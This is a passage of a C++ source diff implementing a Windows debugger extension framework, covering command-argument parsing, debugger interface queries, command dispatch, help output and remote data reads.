Arg->NumVal; +} + +bool +ExtExtension::SetUnnamedArg(__in ULONG Index, + __in_opt PCSTR StrArg, + __in ULONG64 NumArg, + __in bool OnlyIfUnset) +{ + ExtCommandDesc::ArgDesc* Check = m_CurCommand->FindUnnamedArg(Index); + if (!Check) + { + ThrowInvalidArg("Unnamed argument index %u too large", Index); + } + + ArgVal* Val = NULL; + + if (HasUnnamedArg(Index)) + { + if (OnlyIfUnset) + { + return false; + } + + Val = &m_Args[Index]; + } + + SetRawArgVal(Check, Val, true, StrArg, false, NumArg); + return true; +} + +bool +ExtExtension::SetArg(__in PCSTR Name, + __in_opt PCSTR StrArg, + __in ULONG64 NumArg, + __in bool OnlyIfUnset) +{ + ExtCommandDesc::ArgDesc* Check = m_CurCommand->FindArg(Name); + if (!Check) + { + ThrowInvalidArg("No argument named '%s'", Name); + } + + ArgVal* Val = FindArg(Name, false); + + if (Val) + { + if (OnlyIfUnset) + { + return false; + } + } + + SetRawArgVal(Check, Val, true, StrArg, false, NumArg); + return true; +} + +PCSTR +ExtExtension::GetExpr64(__in PCSTR Str, + __in bool Signed, + __in ULONG64 Limit, + __out PULONG64 Val) +{ + HRESULT Status; + DEBUG_VALUE FullVal; + ULONG EndIdx; + + if ((Status = m_Control-> + Evaluate(Str, DEBUG_VALUE_INT64, &FullVal, &EndIdx)) != S_OK) + { + ExtStatusException Ex(Status); + + Ex.PrintMessage(s_String, EXT_DIMA(s_String), + "Unable to evaluate expression '%s'", Str); + throw Ex; + } + if ((!Signed && + FullVal.I64 > Limit) || + (Signed && + ((LONG64)FullVal.I64 < -(LONG64)Limit || + (LONG64)FullVal.I64 > (LONG64)Limit))) + { + ThrowInvalidArg("Result overflow in expression '%s'", Str); + } + + *Val = FullVal.I64; + Str += EndIdx; + + while (IsSpace(*Str)) + { + Str++; + } + + return Str; +} + +void WINAPIV +ExtExtension::ThrowInvalidArg(__in PCSTR Format, + ...) +{ + ExtInvalidArgumentException Ex(""); + va_list Args; + + va_start(Args, Format); + Ex.PrintMessageVa(s_String, EXT_DIMA(s_String), + Format, Args); + va_end(Args); + throw Ex; +} + +void WINAPIV +ExtExtension::ThrowRemote(__in HRESULT Status, + __in PCSTR Format, + ...) +{ + ExtRemoteException Ex(Status, ""); + va_list Args; + + va_start(Args, Format); + Ex.PrintMessageVa(s_String, EXT_DIMA(s_String), + Format, Args); + va_end(Args); + throw Ex; +} + +void WINAPIV +ExtExtension::ThrowStatus(__in HRESULT Status, + __in PCSTR Format, + ...) +{ + ExtStatusException Ex(Status); + va_list Args; + + va_start(Args, Format); + Ex.PrintMessageVa(s_String, EXT_DIMA(s_String), + Format, Args); + va_end(Args); + throw Ex; +} + +void +ExtExtension::ExInitialize(void) +{ + if (m_ExInitialized) + { + return; + } + + m_ExInitialized = true; + + // + // Special initialization pass that + // is done when output can be produced + // and exceptions thrown. + // This pass allows verbose feedback on + // errors, as opposed to the DLL-load Initialize(). + // +} + +#define REQ_IF(_If, _Member) \ + if ((Status = Start->QueryInterface(__uuidof(_If), \ + (PVOID*)&_Member)) != S_OK) \ + { \ + goto Exit; \ + } +#define OPT_IF(_If, _Member) \ + if ((Status = Start->QueryInterface(__uuidof(_If), \ + (PVOID*)&_Member)) != S_OK) \ + { \ + _Member.Set(NULL); \ + } + +HRESULT +ExtExtension::Query(__in PDEBUG_CLIENT Start) +{ + HRESULT Status; + + // We don't support nested queries. + if (*&m_Advanced != NULL) + { + return E_UNEXPECTED; + } + + m_ArgCopy = NULL; + + REQ_IF(IDebugAdvanced, m_Advanced); + REQ_IF(IDebugClient, m_Client); + REQ_IF(IDebugControl, m_Control); + REQ_IF(IDebugDataSpaces, m_Data); + REQ_IF(IDebugRegisters, m_Registers); + REQ_IF(IDebugSymbols, m_Symbols); + REQ_IF(IDebugSystemObjects, m_System); + + OPT_IF(IDebugAdvanced2, m_Advanced2); + OPT_IF(IDebugAdvanced3, m_Advanced3); + OPT_IF(IDebugClient2, m_Client2); + OPT_IF(IDebugClient3, m_Client3); + OPT_IF(IDebugClient4, m_Client4); + OPT_IF(IDebugClient5, m_Client5); + OPT_IF(IDebugControl2, m_Control2); + OPT_IF(IDebugControl3, m_Control3); + OPT_IF(IDebugControl4, m_Control4); + OPT_IF(IDebugDataSpaces2, m_Data2); + OPT_IF(IDebugDataSpaces3, m_Data3); + OPT_IF(IDebugDataSpaces4, m_Data4); + OPT_IF(IDebugRegisters2, m_Registers2); + OPT_IF(IDebugSymbols2, m_Symbols2); + OPT_IF(IDebugSymbols3, m_Symbols3); + OPT_IF(IDebugSystemObjects2, m_System2); + OPT_IF(IDebugSystemObjects3, m_System3); + OPT_IF(IDebugSystemObjects4, m_System4); + + // If this isn't a dump target GetDumpFormatFlags + // will fail, so just zero the flags. People + // checking should check the class and qualifier + // first so having them zeroed is not a problem. + if (!m_Control2.IsSet() || + m_Control2->GetDumpFormatFlags(&m_DumpFormatFlags) != S_OK) + { + m_DumpFormatFlags = 0; + } + + if ((Status = m_Control-> + GetDebuggeeType(&m_DebuggeeClass, + &m_DebuggeeQual)) != S_OK || + (Status = m_Client-> + GetOutputWidth(&m_OutputWidth)) != S_OK || + (Status = m_Control-> + GetActualProcessorType(&m_ActualMachine)) != S_OK || + (Status = m_Control-> + GetEffectiveProcessorType(&m_Machine)) != S_OK || + (Status = m_Control-> + GetPageSize(&m_PageSize)) != S_OK || + // IsPointer64Bit check must be last as Status + // is used to compute the pointer size below. + FAILED(Status = m_Control-> + IsPointer64Bit())) + { + goto Exit; + } + if (Status == S_OK) + { + m_PtrSize = 8; + m_OffsetMask = 0xffffffffffffffffUI64; + } + else + { + m_PtrSize = 4; + m_OffsetMask = 0xffffffffUI64; + } + + // User targets may fail a processor count request. + if (m_Control->GetNumberProcessors(&m_NumProcessors) != S_OK) + { + m_NumProcessors = 0; + } + + ExtensionApis.nSize = sizeof(ExtensionApis); + Status = m_Control->GetWindbgExtensionApis64(&ExtensionApis); + if (Status == RPC_E_CALL_REJECTED) + { + // GetWindbgExtensionApis64 is not remotable, + // and this particular failure means we + // are running remotely. Go on without any + // wdbgexts support. + ZeroMemory(&ExtensionApis, sizeof(ExtensionApis)); + m_IsRemote = true; + Status = S_OK; + } + else + { + m_IsRemote = false; + } + + RefreshOutputCallbackFlags(); + + Exit: + if (Status != S_OK) + { + if (*&m_Control != NULL) + { + m_Control->Output(DEBUG_OUTPUT_ERROR, + "ERROR: Unable to query interfaces, 0x%08x\n", + Status); + } + Release(); + } + return Status; +} + +void +ExtExtension::Release(void) +{ + EXT_RELEASE(m_Advanced); + EXT_RELEASE(m_Client); + EXT_RELEASE(m_Control); + EXT_RELEASE(m_Data); + EXT_RELEASE(m_Registers); + EXT_RELEASE(m_Symbols); + EXT_RELEASE(m_System); + EXT_RELEASE(m_Advanced2); + EXT_RELEASE(m_Advanced3); + EXT_RELEASE(m_Client2); + EXT_RELEASE(m_Client3); + EXT_RELEASE(m_Client4); + EXT_RELEASE(m_Client5); + EXT_RELEASE(m_Control2); + EXT_RELEASE(m_Control3); + EXT_RELEASE(m_Control4); + EXT_RELEASE(m_Data2); + EXT_RELEASE(m_Data3); + EXT_RELEASE(m_Data4); + EXT_RELEASE(m_Registers2); + EXT_RELEASE(m_Symbols2); + EXT_RELEASE(m_Symbols3); + EXT_RELEASE(m_System2); + EXT_RELEASE(m_System3); + EXT_RELEASE(m_System4); + ZeroMemory(&ExtensionApis, sizeof(ExtensionApis)); + free(m_ArgCopy); + m_ArgCopy = NULL; + m_CurCommand = NULL; +} + +HRESULT +ExtExtension::CallCommandMethod(__in ExtCommandDesc* Desc, + __in_opt PCSTR Args) +{ + HRESULT Status; + + try + { + ExInitialize(); + Desc->ExInitialize(this); + + ParseArgs(Desc, Args); + + m_CallStatus = S_OK; + // Release NULLs this out. + m_CurCommand = Desc; + + (this->*Desc->m_Method)(); + + Status = m_CallStatus; + } + catch(ExtInterruptException Ex) + { + m_Control->Output(DEBUG_OUTPUT_ERROR, "!%s: %s.\n", + Desc->m_Name, Ex.GetMessage()); + Status = Ex.GetStatus(); + } + catch(ExtException Ex) + { + if (Ex.GetMessage()) + { + if (FAILED(Ex.GetStatus())) + { + m_Control-> + Output(DEBUG_OUTPUT_ERROR, + "ERROR: !%s: extension exception " + "0x%08x.\n \"%s\"\n", + Desc->m_Name, Ex.GetStatus(), Ex.GetMessage()); + } + else + { + m_Control->Output(DEBUG_OUTPUT_NORMAL, "!%s: %s\n", + Desc->m_Name, Ex.GetMessage()); + } + } + else if (Ex.GetStatus() != DEBUG_EXTENSION_CONTINUE_SEARCH && + Ex.GetStatus() != DEBUG_EXTENSION_RELOAD_EXTENSION && + FAILED(Ex.GetStatus())) + { + m_Control-> + Output(DEBUG_OUTPUT_ERROR, + "ERROR: !%s: extension exception 0x%08x.\n", + Desc->m_Name, Ex.GetStatus()); + } + Status = Ex.GetStatus(); + } + + return Status; +} + +HRESULT +ExtExtension::CallCommand(__in ExtCommandDesc* Desc, + __in PDEBUG_CLIENT Client, + __in_opt PCSTR Args) +{ + HRESULT Status = Query(Client); + if (Status != S_OK) + { + return Status; + } + + // Use a hard SEH try/finally to guarantee that + // Release always occurs. + __try + { + Status = CallCommandMethod(Desc, Args); + } + __finally + { + Release(); + } + + return Status; +} + +HRESULT +ExtExtension::CallKnownStructMethod(__in ExtKnownStruct* Struct, + __in ULONG Flags, + __in ULONG64 Offset, + __out_ecount(*BufferChars) PSTR Buffer, + __inout PULONG BufferChars) +{ + HRESULT Status; + + try + { + ExInitialize(); + SetAppendBuffer(Buffer, *BufferChars); + + m_CallStatus = S_OK; + + (this->*Struct->Method)(Struct->TypeName, Flags, Offset); + + Status = m_CallStatus; + } + catch(ExtException Ex) + { + Status = Ex.GetStatus(); + } + + return Status; +} + +HRESULT +ExtExtension::CallKnownStruct(__in PDEBUG_CLIENT Client, + __in ExtKnownStruct* Struct, + __in ULONG Flags, + __in ULONG64 Offset, + __out_ecount(*BufferChars) PSTR Buffer, + __inout PULONG BufferChars) +{ + HRESULT Status = Query(Client); + if (Status != S_OK) + { + return Status; + } + + // Use a hard SEH try/finally to guarantee that + // Release always occurs. + __try + { + Status = CallKnownStructMethod(Struct, Flags, Offset, + Buffer, BufferChars); + } + __finally + { + Release(); + } + + return Status; +} + +HRESULT +ExtExtension::HandleKnownStruct(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in ULONG64 Offset, + __in_opt PCSTR TypeName, + __out_ecount_opt(*BufferChars) PSTR Buffer, + __inout_opt PULONG BufferChars) +{ + HRESULT Status; + ExtKnownStruct* Struct = m_KnownStructs; + + if (Flags == DEBUG_KNOWN_STRUCT_GET_NAMES && + Buffer != NULL && + *BufferChars > 0) + { + ULONG CharsNeeded; + + // + // Return names of known structs packed in + // the output buffer. + // + + // Save a character for the double terminator. + (*BufferChars)--; + CharsNeeded = 1; + + Status = S_OK; + while (Struct && Struct->TypeName) + { + ULONG Chars = strlen(Struct->TypeName) + 1; + CharsNeeded += Chars; + + if (Status != S_OK || *BufferChars < Chars) + { + Status = S_FALSE; + } + else + { + memcpy(Buffer, Struct->TypeName, Chars * sizeof(*Buffer)); + Buffer += Chars; + (*BufferChars) -= Chars; + } + + Struct++; + } + + *Buffer = 0; + *BufferChars = CharsNeeded; + } + else if (Flags == DEBUG_KNOWN_STRUCT_GET_SINGLE_LINE_OUTPUT && + Buffer != NULL && + BufferChars > 0) + { + // + // Dispatch request to method. + // + + Status = E_NOINTERFACE; + while (Struct && Struct->TypeName) + { + if (!strcmp(TypeName, Struct->TypeName)) + { + Status = CallKnownStruct(Client, Struct, Flags, Offset, + Buffer, BufferChars); + break; + } + + Struct++; + } + } + else if (Flags == DEBUG_KNOWN_STRUCT_SUPPRESS_TYPE_NAME) + { + // + // Determine if formatting method suppresses the type name. + // + + Status = E_NOINTERFACE; + while (Struct && Struct->TypeName) + { + if (!strcmp(TypeName, Struct->TypeName)) + { + Status = Struct->SuppressesTypeName ? S_OK : S_FALSE; + break; + } + + Struct++; + } + } + else + { + Status = E_INVALIDARG; + } + + return Status; +} + +HRESULT +ExtExtension::HandleQueryValueNames(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __out_ecount(BufferChars) PWSTR Buffer, + __in ULONG BufferChars, + __out PULONG BufferNeeded) +{ + HRESULT Status; + + UNREFERENCED_PARAMETER(Client); + UNREFERENCED_PARAMETER(Flags); + + if (Buffer == NULL || + BufferChars < 1) + { + return E_INVALIDARG; + } + + ExtProvidedValue* ExtVal = m_ProvidedValues; + ULONG CharsNeeded; + + // + // Return names of values packed in + // the output buffer. + // + + // Save a character for the double terminator. + BufferChars--; + CharsNeeded = 1; + + Status = S_OK; + while (ExtVal && ExtVal->ValueName) + { + ULONG Chars = wcslen(ExtVal->ValueName) + 1; + CharsNeeded += Chars; + + if (Status != S_OK || BufferChars < Chars) + { + Status = S_FALSE; + } + else + { + memcpy(Buffer, ExtVal->ValueName, Chars * sizeof(*Buffer)); + Buffer += Chars; + BufferChars -= Chars; + } + + ExtVal++; + } + + *Buffer = 0; + *BufferNeeded = CharsNeeded; + + return Status; +} + +HRESULT +ExtExtension::CallProvideValueMethod(__in ExtProvidedValue* ExtVal, + __in ULONG Flags, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags) +{ + HRESULT Status; + + try + { + ExInitialize(); + + m_CallStatus = S_OK; + + (this->*ExtVal->Method)(Flags, ExtVal->ValueName, + Value, TypeModBase, TypeId, TypeFlags); + + Status = m_CallStatus; + } + catch(ExtException Ex) + { + Status = Ex.GetStatus(); + } + + return Status; +} + +HRESULT +ExtExtension::HandleProvideValue(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in PCWSTR Name, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags) +{ + HRESULT Status = Query(Client); + if (Status != S_OK) + { + return Status; + } + + // Use a hard SEH try/finally to guarantee that + // Release always occurs. + __try + { + ExtProvidedValue* ExtVal = m_ProvidedValues; + while (ExtVal && ExtVal->ValueName) + { + if (wcscmp(Name, ExtVal->ValueName) == 0) + { + break; + } + + ExtVal++; + } + if (!ExtVal) + { + Status = E_UNEXPECTED; + } + else + { + Status = CallProvideValueMethod(ExtVal, Flags, + Value, TypeModBase, + TypeId, TypeFlags); + } + } + __finally + { + Release(); + } + + return Status; +} + +ExtExtension::ArgVal* +ExtExtension::FindArg(__in PCSTR Name, + __in bool Required) +{ + ULONG i; + + for (i = m_FirstNamedArg; i < m_FirstNamedArg + m_NumNamedArgs; i++) + { + if (!strcmp(Name, m_Args[i].Name)) + { + return &m_Args[i]; + } + } + + if (Required) + { + ThrowInvalidArg("No argument /%s was provided", Name); + } + + return NULL; +} + +PCSTR +ExtExtension::SetRawArgVal(__in ExtCommandDesc::ArgDesc* Check, + __in_opt ArgVal* Val, + __in bool ExplicitVal, + __in_opt PCSTR StrVal, + __in bool StrWritable, + __in ULONG64 NumVal) +{ + if (!Val) + { + if (Check->Name) + { + if (m_NumNamedArgs + m_FirstNamedArg >= EXT_DIMA(m_Args)) + { + ThrowInvalidArg("Argument overflow on '%s'", + Check->Name); + } + + Val = &m_Args[m_NumNamedArgs + m_FirstNamedArg]; + m_NumArgs++; + m_NumNamedArgs++; + } + else + { + Val = &m_Args[m_NumUnnamedArgs]; + m_NumArgs++; + m_NumUnnamedArgs++; + } + } + + Check->Present = true; + Val->Name = Check->Name; + Val->StrVal = NULL; + Val->NumVal = 0; + + if (Check->Boolean) + { + return StrVal; + } + + if (StrVal) + { + while (IsSpace(*StrVal)) + { + StrVal++; + } + if (!*StrVal && + !ExplicitVal) + { + ThrowInvalidArg("Missing value for argument '%s'", + Check->Name); + } + + if (Check->String) + { + Val->StrVal = StrVal; + if (Check->StringRemainder) + { + StrVal += strlen(StrVal); + } + else + { + while (*StrVal && !IsSpace(*StrVal)) + { + StrVal++; + } + } + } + else if (Check->Expression) + { + PSTR StrEnd = NULL; + char StrEndChar = 0; + + if (Check->ExpressionDelimited) + { + StrEnd = (PSTR)StrVal; + while (*StrEnd && !IsSpace(*StrEnd)) + { + StrEnd++; + } + if (IsSpace(*StrEnd)) + { + // + // We found some trailing text so we need + // to force a terminator to delimit the + // expression. We can only do this if + // we make a copy of the string or have + // a writable string. As any case where a + // non-writable string is passed in involves + // a caller setting an argument explicitly they + // can provide a properly-terminated expression, + // so don't support copying. + // + + if (!StrWritable) + { + ThrowInvalidArg("Delimited expressions can " + "only be parsed from extension " + "command arguments"); + } + + StrEndChar = *StrEnd; + *StrEnd = 0; + } + else + { + // No trailing text so no need to force + // termination. + StrEnd = NULL; + } + } + + StrVal = GetExpr64(StrVal, + Check->ExpressionSigned != 0, + (0xffffffffffffffffUI64 >> + (64 - Check->ExpressionBits)), + &Val->NumVal); + + if (StrEnd) + { + *StrEnd = StrEndChar; + } + } + } + else if (Check->String) + { + ThrowInvalidArg("Missing value for argument '%s'", + Check->Name); + } + else + { + Val->NumVal = NumVal; + } + + return StrVal; +} + +void +ExtExtension::ParseArgs(__in ExtCommandDesc* Desc, + __in_opt PCSTR Args) +{ + if (!Args) + { + Args = ""; + } + + m_RawArgStr = Args; + m_NumArgs = 0; + m_NumNamedArgs = 0; + m_NumUnnamedArgs = 0; + m_FirstNamedArg = Desc->m_NumUnnamedArgs; + + // + // First make a copy of the argument string as + // we will need to chop it up when parsing. + // Release() automatically cleans this up. + // + + m_ArgCopy = _strdup(Args); + if (!m_ArgCopy) + { + ThrowOutOfMemory(); + } + + if (Desc->m_CustomArgParsing) + { + return; + } + + PSTR Scan = m_ArgCopy; + bool ImplicitNamedArg = false; + ULONG i; + ExtCommandDesc::ArgDesc* Check; + + Check = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Check++) + { + Check->Present = false; + } + + for (;;) + { + while (IsSpace(*Scan)) + { + ImplicitNamedArg = false; + Scan++; + } + if (!*Scan) + { + break; + } + + if (ImplicitNamedArg || + strchr(Desc->m_OptionChars, *Scan) != NULL) + { + // + // Named argument. Collect name and + // see if this is a valid argument. + // + + if (!ImplicitNamedArg) + { + Scan++; + + // If /? is given at any point immediately + // go help for the command and exit. + if (*Scan == '?' && + (!*(Scan + 1) || IsSpace(*(Scan + 1)))) + { + HelpCommand(Desc); + throw ExtStatusException(S_OK); + } + } + + PSTR Start = Scan++; + while (*Scan && !IsSpace(*Scan)) + { + Scan++; + } + char Save = *Scan; + *Scan = 0; + + // + // First check for a full name match. + // + + if (!ImplicitNamedArg) + { + Check = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Check++) + { + if (!Check->Name) + { + continue; + } + + if (!strcmp(Start, Check->Name)) + { + break; + } + } + } + else + { + i = Desc->m_NumArgs; + } + if (i >= Desc->m_NumArgs) + { + // + // Didn't find it with a full name match, + // so check for a single-character match. + // This is only allowed for single-character + // boolean options. + // + + ImplicitNamedArg = false; + + Check = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Check++) + { + if (!Check->Name || + !Check->Boolean) + { + continue; + } + + if (*Start == Check->Name[0] && + !Check->Name[1]) + { + // Multiple single-character options + // can be combined with a single slash, + // so the next character should be + // checked as a named option. + ImplicitNamedArg = true; + break; + } + } + } + if (i >= Desc->m_NumArgs) + { + ThrowInvalidArg("Unrecognized argument '%s'", + Start); + } + + // + // Found the argument. Validate it. + // + + if (Check->Present) + { + ThrowInvalidArg("Duplicate argument '%s'", + Start); + } + + // + // Argument is valid, fix up the scan string + // and move to value processing. + // + + *Scan = Save; + if (ImplicitNamedArg) + { + Scan = Start + 1; + } + } + else + { + // + // Unnamed argument. + // Find the n'th unnamed argument description + // and use it. + // + + Check = Desc->FindUnnamedArg(m_NumUnnamedArgs); + if (! Check) + { + ThrowInvalidArg("Extra unnamed argument at '%s'", + Scan); + } + } + + // + // We have an argument description, so + // look for any appropriate value. + // + + Scan = (PSTR)SetRawArgVal(Check, NULL, false, Scan, true, 0); + if (Check->String && *Scan) + { + *Scan++ = 0; + } + } + + // + // Fill in default values where needed. + // + + Check = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Check++) + { + if (!Check->Present && + Check->Default) + { + SetRawArgVal(Check, NULL, true, Check->Default, false, 0); + } + } + + // + // Verify that all required arguments are present. + // + + ULONG NumUnPresent = 0; + Check = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Check++) + { + if (!Check->Name) + { + NumUnPresent++; + } + + if (Check->Required && + !Check->Present) + { + if (Check->Name) + { + ThrowInvalidArg("Missing required argument '%s'", + Check->Name); + } + else if (Check->DescShort) + { + ThrowInvalidArg("Missing required argument '<%s>'", + Check->DescShort); + } + else + { + ThrowInvalidArg("Missing unnamed argument %u", + NumUnPresent); + } + } + } +} + +void +ExtExtension::OutCommandArg(__in ExtCommandDesc::ArgDesc* Arg, + __in bool Separate) +{ + if (Arg->Name) + { + if (Separate) + { + OutWrapStr("/"); + } + + OutWrapStr(Arg->Name); + + if (!Arg->Boolean) + { + OutWrapStr(" "); + } + } + + if (!Arg->Boolean) + { + OutWrap("<%s>", Arg->DescShort); + } +} + +void +ExtExtension::HelpCommandArgsSummary(__in ExtCommandDesc* Desc) +{ + ULONG i; + ExtCommandDesc::ArgDesc* Arg; + bool Hit; + + if (Desc->m_CustomArgDescShort) + { + OutWrapStr(Desc->m_CustomArgDescShort); + return; + } + + // + // In order to try and make things pretty we make + // several passes over the arguments. + // + + // + // Display all optional single-char booleans as a collection. + // + + Hit = false; + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (Arg->Boolean && !Arg->Required && !Arg->Name[1]) + { + if (!Hit) + { + OutWrapStr(" [/"); + Hit = true; + AllowWrap(false); + } + + OutWrapStr(Arg->Name); + } + } + if (Hit) + { + OutWrapStr("]"); + AllowWrap(true); + } + + // + // Display all optional multi-char booleans. + // + + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (Arg->Boolean && !Arg->Required && Arg->Name[1]) + { + OutWrap(" [/%s]", Arg->Name); + } + } + + // + // Display all required single-char booleans as a collection. + // + + Hit = false; + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (Arg->Boolean && Arg->Required && !Arg->Name[1]) + { + if (!Hit) + { + OutWrapStr(" /"); + Hit = true; + AllowWrap(false); + } + + OutWrapStr(Arg->Name); + } + } + AllowWrap(true); + + // + // Display all required multi-char booleans. + // + + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (Arg->Boolean && Arg->Required && Arg->Name[1]) + { + OutWrap(" /%s", Arg->Name); + } + } + + // + // Display all optional named non-booleans. + // + + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (!Arg->Boolean && !Arg->Required && Arg->Name) + { + TestWrap(true); + OutCommandArg(Arg, true); + TestWrap(false); + if (!DemandWrap(m_TestWrapChars + 3)) + { + OutWrapStr(" "); + } + OutWrapStr("["); + AllowWrap(false); + OutCommandArg(Arg, true); + OutWrapStr("]"); + AllowWrap(true); + } + } + + // + // Display all required named non-booleans. + // + + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (!Arg->Boolean && Arg->Required && Arg->Name) + { + TestWrap(true); + OutCommandArg(Arg, true); + TestWrap(false); + if (!DemandWrap(m_TestWrapChars + 1)) + { + OutWrapStr(" "); + } + AllowWrap(false); + OutCommandArg(Arg, true); + AllowWrap(true); + } + } + + // + // Display all unnamed arguments. As any optional + // unnamed argument must be last we can handle both + // optional and required in a single pass. + // + + Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++, Arg++) + { + if (!Arg->Boolean && !Arg->Name) + { + TestWrap(true); + OutCommandArg(Arg, true); + TestWrap(false); + if (!Arg->Required) + { + m_TestWrapChars += 2; + } + if (!DemandWrap(m_TestWrapChars + 1)) + { + OutWrapStr(" "); + } + if (!Arg->Required) + { + OutWrapStr("["); + } + AllowWrap(false); + OutCommandArg(Arg, true); + if (!Arg->Required) + { + OutWrapStr("]"); + } + AllowWrap(true); + } + } +} + +void +ExtExtension::HelpCommand(__in ExtCommandDesc* Desc) +{ + ULONG i; + + Desc->ExInitialize(this); + + m_CurChar = 0; + OutWrap("!%s", Desc->m_Name); + m_LeftIndent = m_CurChar + 1; + HelpCommandArgsSummary(Desc); + m_LeftIndent = 0; + OutWrapStr("\n"); + + if (Desc->m_CustomArgDescLong) + { + OutWrapStr(" "); + m_LeftIndent = m_CurChar; + OutWrapStr(Desc->m_CustomArgDescLong); + m_LeftIndent = 0; + OutWrapStr("\n"); + } + else + { + ExtCommandDesc::ArgDesc* Arg = Desc->m_Args; + for (i = 0; i < Desc->m_NumArgs; i++) + { + OutWrapStr(" "); + OutCommandArg(Arg, true); + + if (Arg->DescLong) + { + OutWrapStr(" - "); + m_LeftIndent = m_CurChar; + + OutWrapStr(Arg->DescLong); + + if (Arg->Default && + !Arg->DefaultSilent) + { + OutWrapStr(" (defaults to "); + OutWrapStr(Arg->Default); + OutWrapStr(")"); + } + } + else if (Arg->Default && + !Arg->DefaultSilent) + { + OutWrapStr(" - "); + m_LeftIndent = m_CurChar; + OutWrapStr("defaults to "); + OutWrapStr(Arg->Default); + } + + m_LeftIndent = 0; + OutWrapStr("\n"); + Arg++; + } + } + + OutWrapStr(Desc->m_Desc); + Out("\n"); +} + +void +ExtExtension::HelpCommandName(__in PCSTR Name) +{ + ExtCommandDesc* Desc = m_Commands; + while (Desc) + { + if (!strcmp(Name, Desc->m_Name)) + { + break; + } + + Desc = Desc->m_Next; + } + if (!Desc) + { + ThrowInvalidArg("No command named '%s'", Name); + } + + HelpCommand(Desc); +} + +void +ExtExtension::HelpAll(void) +{ + char ModName[2 * MAX_PATH]; + + if (!GetModuleFileName(s_Module, ModName, EXT_DIMA(ModName))) + { + StringCbCopyA(ModName, sizeof(ModName), + ""); + } + + Out("Commands for %s:\n", ModName); + m_CurChar = 0; + + ExtCommandDesc* Desc = m_Commands; + while (Desc) + { + ULONG NameLen = strlen(Desc->m_Name); + OutWrap(" !%s%*c- ", + Desc->m_Name, + m_LongestCommandName - NameLen + 1, ' '); + m_LeftIndent = m_CurChar; + OutWrapStr(Desc->m_Desc); + m_LeftIndent = 0; + + OutWrapStr("\n"); + + Desc = Desc->m_Next; + } + + Out("!help will give more information for a particular command\n"); +} + +EXT_CLASS_COMMAND(ExtExtension, + help, + "Displays information on available extension commands", + "{;s,o;command;Command to get information on}") +{ + if (HasUnnamedArg(0)) + { + HelpCommandName(GetUnnamedArgStr(0)); + } + else + { + HelpAll(); + SetCallStatus(DEBUG_EXTENSION_CONTINUE_SEARCH); + } +} + +//---------------------------------------------------------------------------- +// +// Global forwarders for common methods. +// +//---------------------------------------------------------------------------- + +void WINAPIV +ExtOut(__in PCSTR Format, ...) +{ + g_Ext.Throw(); + + va_list Args; + + va_start(Args, Format); + g_Ext->m_Control-> + OutputVaList(DEBUG_OUTPUT_NORMAL, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtWarn(__in PCSTR Format, ...) +{ + g_Ext.Throw(); + + va_list Args; + + va_start(Args, Format); + g_Ext->m_Control-> + OutputVaList(DEBUG_OUTPUT_WARNING, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtErr(__in PCSTR Format, ...) +{ + g_Ext.Throw(); + + va_list Args; + + va_start(Args, Format); + g_Ext->m_Control-> + OutputVaList(DEBUG_OUTPUT_ERROR, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtVerb(__in PCSTR Format, ...) +{ + g_Ext.Throw(); + + va_list Args; + + va_start(Args, Format); + g_Ext->m_Control-> + OutputVaList(DEBUG_OUTPUT_VERBOSE, Format, Args); + va_end(Args); +} + +//---------------------------------------------------------------------------- +// +// ExtRemoteData. +// +//---------------------------------------------------------------------------- + +void +ExtRemoteData::Set(__in const DEBUG_TYPED_DATA* Typed) +{ + m_Offset = Typed->Offset; + m_ValidOffset = (Typed->Flags & DEBUG_TYPED_DATA_IS_IN_MEMORY) != 0; + m_Bytes = Typed->Size; + m_Data = Typed->Data; + m_ValidData = Typed->Size > 0 && Typed->Size <= sizeof(m_Data); +} + +void +ExtRemoteData::Read(void) +{ + g_Ext->ThrowInterrupt(); + + // Zero data so that unread bytes have a known state. + ULONG64 NewData = 0; + +#pragma prefast(suppress:__WARNING_REDUNDANTTEST, "valid redundancy") + if (m_Bytes > sizeof(m_Data) || + m_Bytes > sizeof(NewData)) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData::Read too large"); + } + + ReadBuffer(&NewData, m_Bytes); + m_Data = NewData; + m_ValidData = true; +} + +void +ExtRemoteData::Write(void) +{ + g_Ext->ThrowInterrupt(); + + if (m_Bytes > sizeof(m_Data)) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData::Write too large"); + } + if (!m_ValidData) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData does not have valid data"); + } + + WriteBuffer(&m_Data, m_Bytes); +} + +ULONG64 +ExtRemoteData::GetData(__in ULONG Request) +{ + g_Ext->ThrowInterrupt(); + + if (m_Bytes != Request) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "Invalid ExtRemoteData size"); + } + if (!m_ValidData) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData does not have valid data"); + } + + return m_Data; +} + +ULONG +ExtRemoteData::ReadBuffer(__out_bcount(Bytes) PVOID Buffer, + __in ULONG Bytes, + __in bool MustReadAll) +{ + HRESULT Status; + ULONG Done; + + g_Ext->ThrowInterrupt(); + + if (!Bytes) + { + 